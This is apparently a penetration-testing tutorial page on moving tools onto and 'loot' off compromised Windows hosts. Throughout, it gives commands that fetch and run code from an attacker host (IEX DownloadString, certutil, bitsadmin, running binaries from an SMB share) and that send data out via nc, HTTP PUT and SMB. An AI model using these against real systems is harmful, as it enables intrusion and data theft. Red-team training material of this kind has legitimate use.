Skip to content
HackIndex logo

HackIndex

Transferring Files to and from Windows

5 min read May 15, 2026

Getting tools onto a Windows target and loot off it are constant tasks throughout an engagement. The right method depends on what is available on the target, what outbound connections are allowed, and how much noise you can tolerate. This page covers every practical transfer method from fastest to most restricted.

HTTP — pulling files from your attack box

The fastest and most reliable method when the target has outbound HTTP access. Serve files from your attack box with a Python server, then pull them down with whatever client is available on the target.

┌──(kali㉿kali)-[~]
└─$ # Python HTTP server
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # With HTTPS (avoids some network filtering)
┌──(kali㉿kali)-[~]
└─$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj "/CN=localhost"
┌──(kali㉿kali)-[~]
└─$ python3 -c "import ssl,http.server; ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain('cert.pem','key.pem'); srv=http.server.HTTPServer(('0.0.0.0',443),http.server.SimpleHTTPRequestHandler); srv.socket=ctx.wrap_socket(srv.socket,server_side=True); srv.serve_forever()"
PS C:\Users\Guest\Desktop> # PowerShell WebClient (most compatible)
PS C:\Users\Guest\Desktop> (New-Object Net.WebClient).DownloadFile('http://$LHOST:8080/tool.exe', 'C:\Windows\Temp\tool.exe')
 
PS C:\Users\Guest\Desktop> # PowerShell Invoke-WebRequest
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri 'http://$LHOST:8080/tool.exe' -OutFile 'C:\Windows\Temp\tool.exe'
 
PS C:\Users\Guest\Desktop> # Shorter alias
PS C:\Users\Guest\Desktop> iwr 'http://$LHOST:8080/tool.exe' -o 'C:\Windows\Temp\tool.exe'
 
PS C:\Users\Guest\Desktop> # Execute in memory without writing to disk
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/script.ps1')
 
PS C:\Users\Guest\Desktop> # certutil — works on all Windows versions, often less blocked
PS C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/tool.exe C:\Windows\Temp\tool.exe
 
PS C:\Users\Guest\Desktop> # bitsadmin — legitimate Windows service
PS C:\Users\Guest\Desktop> bitsadmin /transfer myJob /download /priority normal http://$LHOST:8080/tool.exe C:\Windows\Temp\tool.exe

SMB — direct share access

When the target has outbound SMB access (port 445), serve an SMB share from your attack box and access it directly. No file copy needed — you can run binaries directly from the share, which avoids writing to disk.

┌──(kali㉿kali)-[~]
└─$ # Impacket SMB server (no auth)
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # With authentication (required for some Windows versions)
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support -username $USER -password $PASSWORD
PS C:\Users\Guest\Desktop> # Copy file from share
PS C:\Users\Guest\Desktop> copy \\$LHOST\share\tool.exe C:\Windows\Temp\tool.exe
 
PS C:\Users\Guest\Desktop> # Run directly from share (avoids disk write)
PS C:\Users\Guest\Desktop> \\$LHOST\share\tool.exe
 
PS C:\Users\Guest\Desktop> # Mount as drive
PS C:\Users\Guest\Desktop> net use Z: \\$LHOST\share
PS C:\Users\Guest\Desktop> net use Z: \\$LHOST\share /user:$USER $PASSWORD
 
PS C:\Users\Guest\Desktop> # Upload loot to attack box
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\share\loot.zip

FTP

FTP is available on most Windows systems and is useful when HTTP or SMB is blocked. The built-in FTP client is old and limited, but reliable for basic transfers.

┌──(kali㉿kali)-[~]
└─$ # Python FTP server
┌──(kali㉿kali)-[~]
└─$ pipx install pyftpdlib
┌──(kali㉿kali)-[~]
└─$ python3 -m pyftpdlib -p 21 -w
PS C:\Users\Guest\Desktop> # FTP command file method (handles non-interactive sessions)
PS C:\Users\Guest\Desktop> echo open $LHOST 21 > C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> echo USER anonymous >> C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> echo PASS anonymous >> C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> echo binary >> C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> echo GET tool.exe C:\Windows\Temp\tool.exe >> C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> echo bye >> C:\Windows\Temp\ftp.txt
PS C:\Users\Guest\Desktop> ftp -v -n -s:C:\Windows\Temp\ftp.txt
 
PS C:\Users\Guest\Desktop> # PowerShell FTP download
PS C:\Users\Guest\Desktop> $ftp = [System.Net.FtpWebRequest]::Create("ftp://$LHOST/tool.exe")
PS C:\Users\Guest\Desktop> $ftp.Method = [System.Net.WebRequestMethods+Ftp]::DownloadFile
PS C:\Users\Guest\Desktop> $resp = $ftp.GetResponse()
PS C:\Users\Guest\Desktop> $stream = $resp.GetResponseStream()
PS C:\Users\Guest\Desktop> [System.IO.File]::WriteAllBytes('C:\Windows\Temp\tool.exe', (New-Object IO.BinaryReader($stream)).ReadBytes(100MB))

Base64 encode and decode

When all network protocols are blocked or you only have a command shell with no direct transfer capabilities, base64 encode the file, paste the string through the shell, and decode it on the target. Works in any shell including restricted ones.

┌──(kali㉿kali)-[~]
└─$ base64 -w 0 tool.exe
┌──(kali㉿kali)-[~]
└─$ # Or copy output directly to clipboard
┌──(kali㉿kali)-[~]
└─$ base64 -w 0 tool.exe | xclip -selection clipboard
PS C:\Users\Guest\Desktop> # Paste base64 string and decode to binary
PS C:\Users\Guest\Desktop> $b64 = "PASTEBASE64HERE"
PS C:\Users\Guest\Desktop> [System.IO.File]::WriteAllBytes('C:\Windows\Temp\tool.exe', [System.Convert]::FromBase64String($b64))

Uploading files back to attack box

Getting loot off the target uses the same channels in reverse. The simplest approach is writing to an SMB share. When that is not available, use a PowerShell HTTP POST or nc.

┌──(kali㉿kali)-[~]
└─$ # Netcat listener to receive file
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444 > received_file.zip
 
┌──(kali㉿kali)-[~]
└─$ # Simple upload server (accepts HTTP POST)
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import http.server, os
class H(http.server.BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length)
fname = os.path.basename(self.path)
open(fname,'wb').write(data)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8080),H).serve_forever()
"
PS C:\Users\Guest\Desktop> # HTTP PUT upload
PS C:\Users\Guest\Desktop> $wc = New-Object System.Net.WebClient
PS C:\Users\Guest\Desktop> $wc.UploadFile('http://$LHOST:8080/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')
 
PS C:\Users\Guest\Desktop> # Netcat send (if nc is available on target)
PS C:\Users\Guest\Desktop> cmd.exe /c "type C:\Windows\Temp\loot.zip | nc $LHOST 4444"
 
PS C:\Users\Guest\Desktop> # PowerShell via SMB share
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\share\

For moving files between hosts during lateral movement rather than back to your attack box see PsExec and SMB Lateral Movement. For exfiltrating data out of the network environment entirely see Windows Exfiltration over HTTP and HTTPS.